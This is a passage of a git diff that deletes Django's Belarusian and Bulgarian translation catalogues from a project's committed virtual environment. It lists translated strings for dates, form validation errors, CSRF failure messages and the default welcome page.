"ліпеня" - -msgctxt "alt. month" -msgid "August" -msgstr "жніўня" - -msgctxt "alt. month" -msgid "September" -msgstr "верасьня" - -msgctxt "alt. month" -msgid "October" -msgstr "кастрычніка" - -msgctxt "alt. month" -msgid "November" -msgstr "лістапада" - -msgctxt "alt. month" -msgid "December" -msgstr "сьнежня" - -msgid "This is not a valid IPv6 address." -msgstr "Гэта ня правільны адрас IPv6." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "або" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d год" -msgstr[1] "%(num)d гадоў" -msgstr[2] "%(num)d гадоў" -msgstr[3] "%(num)d гадоў" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d месяц" -msgstr[1] "%(num)d месяцаў" -msgstr[2] "%(num)d месяцаў" -msgstr[3] "%(num)d месяцаў" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d тыдзень" -msgstr[1] "%(num)d тыдняў" -msgstr[2] "%(num)d тыдняў" -msgstr[3] "%(num)d тыдняў" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d дзень" -msgstr[1] "%(num)d дзён" -msgstr[2] "%(num)d дзён" -msgstr[3] "%(num)d дзён" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d гадзіна" -msgstr[1] "%(num)d гадзін" -msgstr[2] "%(num)d гадзін" -msgstr[3] "%(num)d гадзін" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d хвіліна" -msgstr[1] "%(num)d хвілін" -msgstr[2] "%(num)d хвілін" -msgstr[3] "%(num)d хвілін" - -msgid "Forbidden" -msgstr "Забаронена" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-праверка не атрымалася. Запыт спынены." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Вы бачыце гэта паведамленне, таму што гэты HTTPS-сайт патрабуе каб Referer " -"загаловак быў адасланы вашым аглядальнікам, але гэтага не адбылося. Гэты " -"загаловак неабходны для бяспекі, каб пераканацца, што ваш аглядальнік не " -"ўзаламаны трэцімі асобамі." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Калі вы сканфігуравалі ваш браўзэр так, каб ён не працаваў з “Referer” " -"загалоўкамі, калі ласка дазвольце іх хаця б для гэтага сайту, ці для HTTPS " -"злучэнняў, ці для 'same-origin' запытаў." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Калі вы выкарыстоўваеце тэг " -"ці дадалі загаловак “Referrer-Policy: no-referrer”, калі ласка выдаліце іх. " -"CSRF абароне неабходны “Referer” загаловак для строгай праверкі. Калі Вы " -"турбуецеся аб прыватнасці, выкарыстоўвайце альтэрнатывы, напрыклад , для спасылкі на сайты трэціх асоб." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Вы бачыце гэта паведамленне, таму што гэты сайт патрабуе CSRF кукі для " -"адсылкі формы. Гэтыя кукі неабходныя для бяспекі, каб пераканацца, што ваш " -"браўзэр не ўзламаны трэцімі асобамі." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Калі вы сканфігуравалі ваш браўзэр так, каб ён не працаваў з кукамі, калі " -"ласка дазвольце іх хаця б для гэтага сайту ці для “same-origin” запытаў." - -msgid "More information is available with DEBUG=True." -msgstr "Больш падрабязная інфармацыя даступная з DEBUG=True." - -msgid "No year specified" -msgstr "Не пазначылі год" - -msgid "Date out of range" -msgstr "Дата выходзіць за межы дыяпазону" - -msgid "No month specified" -msgstr "Не пазначылі месяц" - -msgid "No day specified" -msgstr "Не пазначылі дзень" - -msgid "No week specified" -msgstr "Не пазначылі тыдзень" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Няма доступу да %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Няма доступу да %(verbose_name_plural)s, якія будуць, бо «%(class_name)s." -"allow_future» мае значэньне «не сапраўдна»." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Радок даты “%(datestr)s” не адпавядае выгляду “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Па запыце не знайшлі ніводнага %(verbose_name)s" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Нумар бачыны ня мае значэньня “last” і яго нельга ператварыць у цэлы лік." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Няправільная старонка (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" -"Сьпіс парожні, але “%(class_name)s.allow_empty” мае значэньне «не " -"сапраўдна», што забараняе паказваць парожнія сьпісы." - -msgid "Directory indexes are not allowed here." -msgstr "Не дазваляецца глядзець сьпіс файлаў каталёґа." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” не існуе" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Файлы каталёґа «%(directory)s»" - -msgid "The install worked successfully! Congratulations!" -msgstr "Усталяванне прайшло паспяхова! Віншаванні!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Паглядзець заўвагі да выпуску для Джангі " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Вы бачыце гэту старонку таму што DEBUG=True у вашым файле налад і вы не " -"сканфігурыравалі ніякіх URL." - -msgid "Django Documentation" -msgstr "Дакументацыя Джангі" - -msgid "Topics, references, & how-to’s" -msgstr "Тэмы, спасылкі, & як зрабіць" - -msgid "Tutorial: A Polling App" -msgstr "Падручнік: Дадатак для галасавання" - -msgid "Get started with Django" -msgstr "Пачніце з Джангаю" - -msgid "Django Community" -msgstr "Джанга супольнасць" - -msgid "Connect, get help, or contribute" -msgstr "Злучайцеся, атрымлівайце дапамогу, ці спрыяйце" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bg/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/bg/LC_MESSAGES/django.mo deleted file mode 100644 index f6bd12b0..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/bg/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/bg/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/bg/LC_MESSAGES/django.po deleted file mode 100644 index 52cc9130..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/bg/LC_MESSAGES/django.po +++ /dev/null @@ -1,1353 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# arneatec , 2022-2024 -# Boris Chervenkov , 2012 -# Claude Paroz , 2020 -# Jannis Leidel , 2011 -# Lyuboslav Petrov , 2014 -# Mariusz Felisiak , 2023 -# Todor Lubenov , 2013-2015 -# Venelin Stoykov , 2015-2017 -# vestimir , 2014 -# Alexander Atanasov , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: arneatec , 2022-2024\n" -"Language-Team: Bulgarian (http://app.transifex.com/django/django/language/" -"bg/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bg\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "африкаански" - -msgid "Arabic" -msgstr "арабски език" - -msgid "Algerian Arabic" -msgstr "алжирски арабски" - -msgid "Asturian" -msgstr "Астурийски" - -msgid "Azerbaijani" -msgstr "Азербайджански език" - -msgid "Bulgarian" -msgstr "български език" - -msgid "Belarusian" -msgstr "Беларуски" - -msgid "Bengali" -msgstr "бенгалски език" - -msgid "Breton" -msgstr "Бретон" - -msgid "Bosnian" -msgstr "босненски език" - -msgid "Catalan" -msgstr "каталански" - -msgid "Central Kurdish (Sorani)" -msgstr "Кюрдски, централен (Сорани)" - -msgid "Czech" -msgstr "чешки" - -msgid "Welsh" -msgstr "уелски" - -msgid "Danish" -msgstr "датски" - -msgid "German" -msgstr "немски" - -msgid "Lower Sorbian" -msgstr "долносорбски" - -msgid "Greek" -msgstr "гръцки" - -msgid "English" -msgstr "английски" - -msgid "Australian English" -msgstr "австралийски английски" - -msgid "British English" -msgstr "британски английски" - -msgid "Esperanto" -msgstr "есперанто" - -msgid "Spanish" -msgstr "испански" - -msgid "Argentinian Spanish" -msgstr "кастилски" - -msgid "Colombian Spanish" -msgstr "колумбийски испански" - -msgid "Mexican Spanish" -msgstr "мексикански испански" - -msgid "Nicaraguan Spanish" -msgstr "никарагуански испански" - -msgid "Venezuelan Spanish" -msgstr "венецуелски испански" - -msgid "Estonian" -msgstr "естонски" - -msgid "Basque" -msgstr "баски" - -msgid "Persian" -msgstr "персийски" - -msgid "Finnish" -msgstr "финландски" - -msgid "French" -msgstr "френски" - -msgid "Frisian" -msgstr "фризийски" - -msgid "Irish" -msgstr "ирландски" - -msgid "Scottish Gaelic" -msgstr "шотландски галски" - -msgid "Galician" -msgstr "галицейски" - -msgid "Hebrew" -msgstr "иврит" - -msgid "Hindi" -msgstr "хинди" - -msgid "Croatian" -msgstr "хърватски" - -msgid "Upper Sorbian" -msgstr "горносорбски" - -msgid "Hungarian" -msgstr "унгарски" - -msgid "Armenian" -msgstr "арменски" - -msgid "Interlingua" -msgstr "интерлингва" - -msgid "Indonesian" -msgstr "индонезийски" - -msgid "Igbo" -msgstr "игбо" - -msgid "Ido" -msgstr "идо" - -msgid "Icelandic" -msgstr "исландски" - -msgid "Italian" -msgstr "италиански" - -msgid "Japanese" -msgstr "японски" - -msgid "Georgian" -msgstr "грузински" - -msgid "Kabyle" -msgstr "кабилски" - -msgid "Kazakh" -msgstr "казахски" - -msgid "Khmer" -msgstr "кхмерски" - -msgid "Kannada" -msgstr "каннада" - -msgid "Korean" -msgstr "корейски" - -msgid "Kyrgyz" -msgstr "киргизки" - -msgid "Luxembourgish" -msgstr "люксембургски" - -msgid "Lithuanian" -msgstr "литовски" - -msgid "Latvian" -msgstr "латвийски" - -msgid "Macedonian" -msgstr "македонски" - -msgid "Malayalam" -msgstr "малаялам" - -msgid "Mongolian" -msgstr "монголски" - -msgid "Marathi" -msgstr "марати" - -msgid "Malay" -msgstr "малайски" - -msgid "Burmese" -msgstr "бирмански" - -msgid "Norwegian Bokmål" -msgstr "норвежки букмол" - -msgid "Nepali" -msgstr "непалски" - -msgid "Dutch" -msgstr "нидерландски" - -msgid "Norwegian Nynorsk" -msgstr "съвременен норвежки" - -msgid "Ossetic" -msgstr "осетски" - -msgid "Punjabi" -msgstr "панджабски" - -msgid "Polish" -msgstr "полски" - -msgid "Portuguese" -msgstr "португалски" - -msgid "Brazilian Portuguese" -msgstr "бразилски португалски" - -msgid "Romanian" -msgstr "румънски" - -msgid "Russian" -msgstr "руски" - -msgid "Slovak" -msgstr "словашки" - -msgid "Slovenian" -msgstr "словенски" - -msgid "Albanian" -msgstr "албански" - -msgid "Serbian" -msgstr "сръбски" - -msgid "Serbian Latin" -msgstr "сръбски - латиница" - -msgid "Swedish" -msgstr "шведски" - -msgid "Swahili" -msgstr "суахили" - -msgid "Tamil" -msgstr "тамилски" - -msgid "Telugu" -msgstr "телугу" - -msgid "Tajik" -msgstr "таджикски" - -msgid "Thai" -msgstr "тайландски" - -msgid "Turkmen" -msgstr "туркменски" - -msgid "Turkish" -msgstr "турски" - -msgid "Tatar" -msgstr "татарски" - -msgid "Udmurt" -msgstr "удмурт" - -msgid "Uyghur" -msgstr "Уйгурски" - -msgid "Ukrainian" -msgstr "украински" - -msgid "Urdu" -msgstr "урду" - -msgid "Uzbek" -msgstr "узбекски" - -msgid "Vietnamese" -msgstr "виетнамски" - -msgid "Simplified Chinese" -msgstr "китайски" - -msgid "Traditional Chinese" -msgstr "традиционен китайски" - -msgid "Messages" -msgstr "Съобщения" - -msgid "Site Maps" -msgstr "Карти на сайта" - -msgid "Static Files" -msgstr "Статични файлове" - -msgid "Syndication" -msgstr "Синдикация" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Номерът на страницата не е цяло число" - -msgid "That page number is less than 1" -msgstr "Номерът на страницата е по-малък от 1" - -msgid "That page contains no results" -msgstr "В тази страница няма резултати" - -msgid "Enter a valid value." -msgstr "Въведете валидна стойност. " - -msgid "Enter a valid domain name." -msgstr "Въведете валидно име на домейн." - -msgid "Enter a valid URL." -msgstr "Въведете валиден URL адрес." - -msgid "Enter a valid integer." -msgstr "Въведете валидно целочислено число." - -msgid "Enter a valid email address." -msgstr "Въведете валиден имейл адрес." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Въведете валиден 'слъг', състоящ се от букви, цифри, тирета или долни тирета." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Въведете валиден 'слъг', състоящ се от Уникод букви, цифри, тирета или долни " -"тирета." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Въведете валиден %(protocol)s адрес." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 или IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Въведете само еднозначни числа, разделени със запетая. " - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Уверете се, че тази стойност е %(limit_value)s (тя е %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Уверете се, че тази стойност е по-малка или равна на %(limit_value)s ." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" -"Уверете се, че тази стойност е по-голяма или равна на %(limit_value)s ." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "Уверете се, че стойността е кратна на стъпката %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Въведете стойност, кратна на стъпката %(limit_value)s, започвайки от " -"%(offset)s, например %(offset)s, %(valid_value1)s, %(valid_value2)s, и т.н." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Уверете се, че тази стойност е най-малко %(limit_value)d знака (тя има " -"%(show_value)d )." -msgstr[1] "" -"Уверете се, че тази стойност е най-малко %(limit_value)d знака (тя има " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Уверете се, тази стойност има най-много %(limit_value)d знака (тя има " -"%(show_value)d)." -msgstr[1] "" -"Уверете се, че тази стойност има най-много %(limit_value)d знака (тя има " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Въведете число." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Уверете се, че има не повече от %(max)s цифри общо." -msgstr[1] "Уверете се, че има не повече от %(max)s цифри общо." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -"Уверете се, че има не повече от%(max)s знак след десетичната запетая." -msgstr[1] "" -"Уверете се, че има не повече от %(max)s знака след десетичната запетая." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Уверете се, че има не повече от %(max)s цифра преди десетичната запетая." -msgstr[1] "" -"Уверете се, че има не повече от %(max)s цифри преди десетичната запетая." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Не са разрешени файлове с раширение \"%(extension)s\". Позволените " -"разширения са: %(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Празни знаци не са разрешени." - -msgid "and" -msgstr "и" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s с този %(field_labels)s вече съществува." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Ограничението “%(name)s” е нарушено." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Стойността %(value)r не е валиден избор." - -msgid "This field cannot be null." -msgstr "Това поле не може да има празна стойност." - -msgid "This field cannot be blank." -msgstr "Това поле не може да е празно." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s с този %(field_label)s вече съществува." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s трябва да е уникално за %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Поле от тип: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Стойността на \"%(value)s\" трябва да бъде или True, или False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Стойност \"%(value)s\" трябва да бъде или True, или False или None." - -msgid "Boolean (Either True or False)" -msgstr "Булево (True или False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Символен низ (до %(max_length)s символа)" - -msgid "String (unlimited)" -msgstr "Стринг (неограничен)" - -msgid "Comma-separated integers" -msgstr "Цели числа, разделени с запетая" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Стойността \"%(value)s\" е с невалиден формат за дата. Тя трябва да бъде в " -"ГГГГ-ММ-ДД формат." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Стойността \"%(value)s\" е в правилния формат (ГГГГ-ММ-ДД), но самата дата е " -"невалидна." - -msgid "Date (without time)" -msgstr "Дата (без час)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Стойността '%(value)s' е с невалиден формат. Трябва да бъде във формат ГГГГ-" -"ММ-ДД ЧЧ:ММ[:сс[.uuuuuu]][TZ]" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Стойността '%(value)s' е с правилен формат ( ГГГГ-ММ-ДД ЧЧ:ММ[:сс[.μμμμμμ]]" -"[TZ]), но датата/часът са невалидни" - -msgid "Date (with time)" -msgstr "Дата (и час)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Стойността \"%(value)s\" трябва да е десетично число." - -msgid "Decimal number" -msgstr "Десетична дроб" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Стойността “%(value)s” е с невалиден формат. Трябва да бъде във формат [ДД] " -"[[ЧЧ:]ММ:]сс[.uuuuuu] format." - -msgid "Duration" -msgstr "Продължителност" - -msgid "Email address" -msgstr "Имейл адрес" - -msgid "File path" -msgstr "Път към файл" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Стойността '%(value)s' трябва да е число с плаваща запетая." - -msgid "Floating point number" -msgstr "Число с плаваща запетая" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Стойността \"%(value)s\" трябва да е цяло число." - -msgid "Integer" -msgstr "Цяло число" - -msgid "Big (8 byte) integer" -msgstr "Голямо (8 байта) цяло число" - -msgid "Small integer" -msgstr "2 байта цяло число" - -msgid "IPv4 address" -msgstr "IPv4 адрес" - -msgid "IP address" -msgstr "IP адрес" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Стойността '%(value)s' трябва да бъде None, True или False." - -msgid "Boolean (Either True, False or None)" -msgstr "булев (възможните стойности са True, False или None)" - -msgid "Positive big integer" -msgstr "Положително голямо цяло число." - -msgid "Positive integer" -msgstr "Положително цяло число" - -msgid "Positive small integer" -msgstr "Положително 2 байта цяло число" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Слъг (до %(max_length)s )" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Стойността \"%(value)s\" е с невалиден формат. Тя трябва да бъде в ЧЧ:ММ [:" -"сс[.μμμμμμ]]" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Стойността \"%(value)s\" е в правилния формат (ЧЧ:ММ [:сс[.μμμμμμ]]), но " -"часът е невалиден." - -msgid "Time" -msgstr "Време" - -msgid "URL" -msgstr "URL адрес" - -msgid "Raw binary data" -msgstr "сурови двоични данни" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\" не е валиден UUID." - -msgid "Universally unique identifier" -msgstr "Универсално уникален идентификатор" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Изображение" - -msgid "A JSON object" -msgstr "Обект във формат JSON" - -msgid "Value must be valid JSON." -msgstr "Стойността трябва да е валиден JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Инстанция на %(model)s с %(field)s %(value)r не съществува." - -msgid "Foreign Key (type determined by related field)" -msgstr "Външен ключ (тип, определен от свързаното поле)" - -msgid "One-to-one relationship" -msgstr "едно-към-едно релация " - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s релация" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s релации" - -msgid "Many-to-many relationship" -msgstr "Много-към-много релация" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Това поле е задължително." - -msgid "Enter a whole number." -msgstr "Въведете цяло число. " - -msgid "Enter a valid date." -msgstr "Въведете валидна дата." - -msgid "Enter a valid time." -msgstr "Въведете валиден час." - -msgid "Enter a valid date/time." -msgstr "Въведете валидна дата/час. " - -msgid "Enter a valid duration." -msgstr "Въведете валидна продължителност." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Броят на дните трябва да е между {min_days} и {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Няма изпратен файл. Проверете типа кодиране на формата. " - -msgid "No file was submitted." -msgstr "Няма изпратен файл." - -msgid "The submitted file is empty." -msgstr "Изпратеният файл е празен. " - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "Уверете се, това име е най-много %(max)d знака (то има %(length)d)." -msgstr[1] "" -"Уверете се, че това файлово име има най-много %(max)d знаци (има " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Моля, или пратете файл или маркирайте полето за изчистване, но не и двете." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Качете валидно изображение. Файлът, който сте качили или не е изображение, " -"или е повреден. " - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Направете валиден избор. %(value)s не е един от възможните избори." - -msgid "Enter a list of values." -msgstr "Въведете списък от стойности" - -msgid "Enter a complete value." -msgstr "Въведете пълна стойност." - -msgid "Enter a valid UUID." -msgstr "Въведете валиден UUID." - -msgid "Enter a valid JSON." -msgstr "Въведете валиден JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Скрито поле %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm данните липсват или са променяни неправомерно. Липсващи " -"полета: %(field_names)s. Трябва да изпратите уведомление за бъг, ако този " -"проблем продължава." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Моля изпратете не повече от %(num)d формуляр." -msgstr[1] "Моля изпратете не повече от %(num)d формуляра." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Моля изпратете поне %(num)d формуляр." -msgstr[1] "Моля изпратете поне %(num)d формуляра." - -msgid "Order" -msgstr "Ред" - -msgid "Delete" -msgstr "Изтрий" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Моля, коригирайте дублираните данни за %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Моля, коригирайте дублираните данни за %(field)s, които трябва да са " -"уникални." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Моля, коригирайте дублиранитe данни за %(field_name)s , които трябва да са " -"уникални за %(lookup)s в %(date_field)s ." - -msgid "Please correct the duplicate values below." -msgstr "Моля, коригирайте повтарящите се стойности по-долу." - -msgid "The inline value did not match the parent instance." -msgstr "Стойността в реда не отговаря на родителската инстанция." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Направете валиден избор. Този не е един от възможните избори. " - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” не е валидна стойност." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s не може да се интерпретира в часова зона %(current_timezone)s; " -"вероятно стойността е нееднозначна или не съществува изобщо." - -msgid "Clear" -msgstr "Изчисти" - -msgid "Currently" -msgstr "Сега" - -msgid "Change" -msgstr "Промени" - -msgid "Unknown" -msgstr "Неизвестно" - -msgid "Yes" -msgstr "Да" - -msgid "No" -msgstr "Не" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "да,не,може би" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d, байт" -msgstr[1] "%(size)d байта" - -#, python-format -msgid "%s KB" -msgstr "%s KБ" - -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s ГБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "след обяд" - -msgid "a.m." -msgstr "преди обяд" - -msgid "PM" -msgstr "след обяд" - -msgid "AM" -msgstr "преди обяд" - -msgid "midnight" -msgstr "полунощ" - -msgid "noon" -msgstr "обяд" - -msgid "Monday" -msgstr "понеделник" - -msgid "Tuesday" -msgstr "вторник" - -msgid "Wednesday" -msgstr "сряда" - -msgid "Thursday" -msgstr "четвъртък" - -msgid "Friday" -msgstr "петък" - -msgid "Saturday" -msgstr "събота" - -msgid "Sunday" -msgstr "неделя" - -msgid "Mon" -msgstr "Пон" - -msgid "Tue" -msgstr "Вт" - -msgid "Wed" -msgstr "Ср" - -msgid "Thu" -msgstr "Чет" - -msgid "Fri" -msgstr "Пет" - -msgid "Sat" -msgstr "Съб" - -msgid "Sun" -msgstr "Нед" - -msgid "January" -msgstr "Януари" - -msgid "February" -msgstr "Февруари" - -msgid "March" -msgstr "Март" - -msgid "April" -msgstr "Април" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Юни" - -msgid "July" -msgstr "Юли" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Септември" - -msgid "October" -msgstr "Октомври" - -msgid "November" -msgstr "Ноември" - -msgid "December" -msgstr "Декември" - -msgid "jan" -msgstr "ян" - -msgid "feb" -msgstr "фев" - -msgid "mar" -msgstr "мар" - -msgid "apr" -msgstr "апр" - -msgid "may" -msgstr "май" - -msgid "jun" -msgstr "юни" - -msgid "jul" -msgstr "юли" - -msgid "aug" -msgstr "авг" - -msgid "sep" -msgstr "сеп" - -msgid "oct" -msgstr "окт" - -msgid "nov" -msgstr "ноем" - -msgid 